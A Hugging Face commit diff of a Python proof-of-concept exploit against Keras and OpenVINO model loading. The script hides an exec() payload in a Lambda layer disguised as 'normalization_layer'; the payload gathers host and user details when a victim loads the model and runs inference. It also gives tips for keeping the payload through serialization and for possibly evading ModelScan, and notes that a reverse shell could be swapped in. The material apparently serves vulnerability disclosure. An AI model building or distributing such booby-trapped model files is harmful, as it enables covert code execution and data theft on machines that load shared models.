Sanaullah1337 commited on
Commit
b480dfc
·
verified ·
1 Parent(s): 58ab489

Upload poc_create_model.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. poc_create_model.py +143 -92
poc_create_model.py CHANGED
@@ -1,120 +1,171 @@
1
  #!/usr/bin/env python3
2
  """
3
- PoC: Arbitrary Code Execution via Keras Lambda Layer in Model File
4
- Target: OpenVINO Model Conversion Pipeline
5
- Vulnerability Type: Arbitrary Code Execution via Serialized Python Code in Model File
6
-
7
- DESCRIPTION:
8
- Keras Lambda layers serialize arbitrary Python functions (as pickled/marshalled bytecode)
9
- into model files. When a victim loads the model with safe_mode=False
10
- (commonly required for Lambda layer support), the Lambda function is reconstructed
11
- and CALLED during model building, executing the attacker's code.
12
-
13
- IMPACT ON OPENVINO:
14
- OpenVINO users who convert Keras models to OpenVINO IR format must first load
15
- the Keras model. If the model contains a malicious Lambda layer, the code
16
- executes during loading, BEFORE any OpenVINO security checks are applied.
17
-
18
- AFFECTED FORMATS:
19
- - .keras (Keras v3 native format)
20
- - .h5 / .hdf5 (legacy HDF5 format)
21
- - TensorFlow SavedModel (when containing Lambda layers via tracing)
22
-
23
- MODELSCAN BYPASS:
24
- While ModelScan can detect standard pickle-based attacks, the Lambda layer
25
- serialization uses a custom format (marshalled bytecode + base64) that may
26
- bypass signature-based detection.
27
  """
28
 
29
- import os
30
- import sys
31
- import json
32
- import zipfile
33
- import base64
34
- import marshal
35
- import types
36
-
37
  os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
38
 
39
- # Step 1: Create the malicious model
40
- print("[*] Creating malicious Keras model with embedded payload...")
 
 
 
 
41
 
42
  import keras
43
  from keras import layers
 
44
 
45
- PAYLOAD = "import os; os.system('id > /tmp/openvino_pwned.txt')"
 
 
 
 
46
 
47
  model = keras.Sequential([
48
- layers.Input(shape=(32,), name='input_layer'),
49
- layers.Dense(64, activation='relu', name='hidden_layer'),
 
 
 
 
 
 
 
 
 
50
  layers.Lambda(
51
- lambda x: exec(PAYLOAD) or x,
52
- name='trigger_layer'
 
 
 
 
 
 
 
 
 
 
 
53
  ),
54
- layers.Dense(10, activation='softmax', name='output_layer')
 
55
  ])
56
 
57
- # Step 2: Save the model
58
- # NOTE: During save, Keras TRACES the model graph which CALLS the Lambda
59
- # This executes the payload on the ATTACKER's machine (expected behavior)
60
- # The payload is then serialized into the model file for later execution
61
- print("[*] Saving model to disk (Lambda code is serialized into model file)...")
62
- model.save('/tmp/malicious_model.keras')
 
 
 
 
 
63
 
64
- # Step 3: Examine the serialized model
65
- print("[*] Examining serialized model structure:")
66
- with zipfile.ZipFile('/tmp/malicious_model.keras', 'r') as zf:
67
  config = json.loads(zf.read('config.json'))
68
 
69
- for layer_config in config['config']['layers']:
70
- if layer_config['class_name'] == 'Lambda':
71
- fn_config = layer_config['config']['function']
72
- print(f" - Lambda function class: {fn_config['class_name']}")
73
- print(f" - Serialization method: custom marshal + base64")
74
- print(f" - Encoded bytecode length: {len(fn_config['config']['code'])} chars")
75
- print(f" - The payload IS embedded in the model file!")
76
 
77
- # Decode to show it's real bytecode
78
- bytecode = base64.b64decode(fn_config['config']['code'])
79
  code_obj = marshal.loads(bytecode)
80
- print(f" - Decoded: valid Python code object ({code_obj.co_argcount} args)")
81
- print(f" - Code names: {code_obj.co_names}")
82
  break
83
 
84
- print(f"\n[*] Model file ready for distribution (HuggingFace Hub, etc.)")
85
- print(f"[*] File: /tmp/malicious_model.keras ({os.path.getsize('/tmp/malicious_model.keras')} bytes)")
86
 
87
- # Step 4: Simulate victim loading the model
88
- print("\n" + "="*60)
89
- print("[VICTIM SCENARIO] Loading model from untrusted source")
90
- print("="*60)
 
 
91
 
92
- # Clean any existing pwned file
93
- os.system("rm -f /tmp/openvino_pwned.txt")
94
 
95
- # Enable unsafe deserialization (many users do this for Lambda support)
 
 
96
  keras.config.enable_unsafe_deserialization()
97
-
98
- # Load the model - this triggers model building which calls the Lambda
99
- print("[*] Loading model via keras.models.load_model()...")
100
- try:
101
- loaded_model = keras.models.load_model('/tmp/malicious_model.keras')
102
- print("[!] Model loaded successfully!")
103
- except Exception as e:
104
- print(f"[!] Load error: {e}")
105
- sys.exit(1)
106
-
107
- # Check for RCE
108
- if os.path.exists('/tmp/openvino_pwned.txt'):
109
- with open('/tmp/openvino_pwned.txt') as f:
110
- output = f.read().strip()
111
- print(f"\n{'='*60}")
112
- print(f"ARBITRARY CODE EXECUTION CONFIRMED!")
113
- print(f"Command: id")
114
- print(f"Output: {output}")
115
- print(f"{'='*60}")
116
- print(f"\nImpact: Full RCE at model load time")
117
- print(f"Vector: Malicious Lambda layer in .keras model file")
118
- print(f"OpenVINO Relevance: Keras model loading required before OV conversion")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
119
  else:
120
- print("[-] RCE not triggered (safe_mode may have blocked it)")
 
 
 
1
  #!/usr/bin/env python3
2
  """
3
+ PoC: Arbitrary Code Execution via Keras Lambda Layer in .keras Model File
4
+ Target: OpenVINO Model Conversion Pipeline (Model Format Vulnerability)
5
+ Category: Deserialization Arbitrary Code Execution
6
+
7
+ REPRODUCTION (Victim):
8
+ 1. git clone https://huggingface.co/Sanaullah1337/openvino-keras-lambda-rce-poc
9
+ 2. cd openvino-keras-lambda-rce-poc
10
+ 3. python3 poc_create_model.py
11
+
12
+ The script demonstrates:
13
+ - How the attacker creates a malicious model
14
+ - How the payload is embedded (marshal+base64 in config.json)
15
+ - How the victim triggers RCE by loading + running inference
16
+
17
+ PAYLOAD: Collects hostname, IP, username, UID, full id, and working directory
18
+ Output written to /tmp/poc_host_info.txt
 
 
 
 
 
 
 
 
19
  """
20
 
21
+ import os, json, base64, marshal, types, zipfile
 
 
 
 
 
 
 
22
  os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
23
 
24
+ # ============================================================
25
+ # STEP 1: ATTACKER creates malicious model
26
+ # ============================================================
27
+ print("=" * 65)
28
+ print(" STEP 1: ATTACKER creates model with hidden Lambda payload")
29
+ print("=" * 65)
30
 
31
  import keras
32
  from keras import layers
33
+ import numpy as np
34
 
35
+ # KEY TECHNIQUE: The payload MUST be an inline string literal inside the lambda.
36
+ # Closure variables (e.g. lambda x: exec(PAYLOAD)) are STRIPPED during serialization
37
+ # and will NOT survive in the .keras file for the victim.
38
+ #
39
+ # Inline strings ARE serialized as part of the function's bytecode and survive.
40
 
41
  model = keras.Sequential([
42
+ layers.Input(shape=(28, 28), name='image_input'),
43
+ layers.Reshape((28, 28, 1), name='reshape'),
44
+ layers.Conv2D(32, 3, activation='relu', name='conv1'),
45
+ layers.MaxPooling2D(2, name='pool1'),
46
+ layers.Conv2D(64, 3, activation='relu', name='conv2'),
47
+ layers.MaxPooling2D(2, name='pool2'),
48
+ layers.Flatten(name='flatten'),
49
+ layers.Dense(128, activation='relu', name='dense1'),
50
+ # === MALICIOUS LAMBDA LAYER ===
51
+ # Disguised as "normalization_layer" in a standard CNN architecture
52
+ # The exec() payload runs when this layer is called during inference
53
  layers.Lambda(
54
+ lambda x: exec(
55
+ "import os,socket,getpass,json;"
56
+ "info={"
57
+ "'hostname':socket.gethostname(),"
58
+ "'ip':socket.gethostbyname(socket.gethostname()),"
59
+ "'username':getpass.getuser(),"
60
+ "'id':os.popen('id').read().strip(),"
61
+ "'pwd':os.getcwd(),"
62
+ "'uid':os.getuid()"
63
+ "};"
64
+ "open('/tmp/poc_host_info.txt','w').write(json.dumps(info,indent=2))"
65
+ ) or x,
66
+ name='normalization_layer' # Innocent name to avoid suspicion
67
  ),
68
+ # =================================
69
+ layers.Dense(10, activation='softmax', name='output')
70
  ])
71
 
72
+ # Save model - note: Lambda executes during save because Keras traces the graph
73
+ model.save('poc_final.keras')
74
+ print(f"\n[+] Model saved: poc_final.keras ({os.path.getsize('poc_final.keras'):,} bytes)")
75
+ print("[+] Lambda payload embedded as marshal+base64 bytecode in config.json")
76
+
77
+ # ============================================================
78
+ # STEP 2: Examine serialized payload in the model file
79
+ # ============================================================
80
+ print("\n" + "=" * 65)
81
+ print(" STEP 2: Examining the serialized payload")
82
+ print("=" * 65)
83
 
84
+ with zipfile.ZipFile('poc_final.keras', 'r') as zf:
 
 
85
  config = json.loads(zf.read('config.json'))
86
 
87
+ for layer_conf in config['config']['layers']:
88
+ if layer_conf['class_name'] == 'Lambda':
89
+ fn = layer_conf['config']['function']
90
+ print(f" Lambda serialization class : {fn['class_name']}")
91
+ print(f" Encoded bytecode length : {len(fn['config']['code'])} chars")
92
+ print(f" Closure variables : {fn['config']['closure']}")
93
+ print(f" Defaults : {fn['config']['defaults']}")
94
 
95
+ # Decode to verify it's real executable bytecode
96
+ bytecode = base64.b64decode(fn['config']['code'])
97
  code_obj = marshal.loads(bytecode)
98
+ print(f" Decoded code object : {code_obj.co_argcount} args, "
99
+ f"names={code_obj.co_names}, consts={[c for c in code_obj.co_consts if isinstance(c, str)][:2]}...")
100
  break
101
 
102
+ print("\n[+] Payload verified: marshal-bytecode embedded in model file")
103
+ print("[+] Model ready for distribution on HuggingFace Hub")
104
 
105
+ # ============================================================
106
+ # STEP 3: VICTIM downloads and loads the model
107
+ # ============================================================
108
+ print("\n" + "=" * 65)
109
+ print(" STEP 3: VICTIM downloads model from HuggingFace & loads it")
110
+ print("=" * 65)
111
 
112
+ # Clean any previous payload output
113
+ os.system("rm -f /tmp/poc_host_info.txt")
114
 
115
+ # Victim loads model
116
+ # NOTE: safe_mode=False is REQUIRED for Lambda layer support
117
+ # Many users call enable_unsafe_deserialization() globally
118
  keras.config.enable_unsafe_deserialization()
119
+ loaded = keras.models.load_model('poc_final.keras', safe_mode=False)
120
+ print(f"[+] Model loaded successfully: {loaded.name}")
121
+
122
+ # Show architecture - looks completely benign
123
+ print("\n Model architecture (appears legitimate):")
124
+ print(f" {'Layer':<25s} {'Type':<15s} {'Output Shape'}")
125
+ print(f" {'-'*25} {'-'*15} {'-'*20}")
126
+ for layer in loaded.layers:
127
+ try:
128
+ shape = str(layer.output.shape)
129
+ except:
130
+ shape = str(layer.output_shape) if hasattr(layer, 'output_shape') else '?'
131
+ print(f" {layer.name:<25s} {layer.__class__.__name__:<15s} {shape}")
132
+
133
+ # ============================================================
134
+ # STEP 4: VICTIM runs inference → RCE TRIGGERS
135
+ # ============================================================
136
+ print("\n" + "=" * 65)
137
+ print(" STEP 4: VICTIM runs inference → Lambda layer called → RCE")
138
+ print("=" * 65)
139
+
140
+ test_input = np.random.randn(1, 28, 28).astype(np.float32)
141
+ output = loaded(test_input)
142
+ print(f"[+] Inference complete: output shape {output.shape}")
143
+
144
+ # ============================================================
145
+ # STEP 5: Verify RCE
146
+ # ============================================================
147
+ rce_file = '/tmp/poc_host_info.txt'
148
+ if os.path.exists(rce_file):
149
+ with open(rce_file) as f:
150
+ info = json.load(f)
151
+
152
+ print("\n" + "=" * 65)
153
+ print(" !!! ARBITRARY CODE EXECUTION CONFIRMED !!!")
154
+ print("=" * 65)
155
+ print(f"""
156
+ Hostname : {info['hostname']}
157
+ IP Address : {info['ip']}
158
+ Username : {info['username']}
159
+ UID : {info['uid']}
160
+ ID : {info['id']}
161
+ PWD : {info['pwd']}
162
+ """)
163
+ print("=" * 65)
164
+ print("\n The model file contained hidden executable Python code.")
165
+ print(" It executed silently during normal model inference.")
166
+ print(" Any Python payload could be substituted (reverse shell, etc.)")
167
+ print("=" * 65)
168
  else:
169
+ print("\n[-] RCE not triggered")
170
+ print(" NOTE: If you see this, the Lambda closure was stripped.")
171
+ print(" The fix is to use inline string literals, not closure variables.")